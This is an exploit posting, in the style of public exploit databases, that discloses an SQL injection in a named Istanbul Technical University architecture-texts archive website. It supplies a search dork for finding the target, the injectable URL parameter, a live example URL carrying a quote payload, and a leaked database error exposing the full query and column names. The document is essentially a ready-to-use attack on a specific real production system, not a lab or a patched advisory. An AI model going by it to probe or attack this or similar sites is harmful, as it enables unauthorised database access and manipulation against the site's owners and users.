###################################################################
# Exploit Title : İstanbul Technical University Ottoman Architecture Texts Archives SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 19/01/2020
# Vendor Homepage : omma.itu.edu.tr
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : Osmanlı Mimarlık Metinleri Arşivi site:itu.edu.tr
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
###################################################################
# Impact :
***********
İstanbul Technical University Ottoman Architecture Texts Archives is prone to an
SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data
before using it in an SQL query. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
###################################################################
# SQL Injection Exploit :
**********************
/index.php?s=arsiv-list&ka=1[]&ek[]=[SQL Injection]
###################################################################
# Example Vulnerable Sites :
*************************
[+] omma.itu.edu.tr/index.php?s=arsiv-list&ka=1[]&ek[]=1%27
###################################################################
# Example SQL Database Error :
****************************
Query: select veri_id,arsiv,konu_alani,eser_kategorisi,eser_adi,yazarlar,cografyasi,
yazim_uretim_teknigi,yy,arsiv_kutuphane,genel_fizik_yapisi,uslup_ozellikleri,
icerigi_ve_strukturu,etkiler_etkilenmeler,yorum,yeniden_uretimleri,hakkinda,anahtar_kelimeler
from veriler where arsiv='1' and konu_alani in() and eser_kategorisi in()
Error: You have an error in your SQL syntax; check the manual that corresponds to your
MariaDB server version for the right syntax to use near ') and eser_kategorisi in()' at line 1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB
server version for the right syntax to use near ') and eser_kategorisi in()' at line 1
###################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###################################################################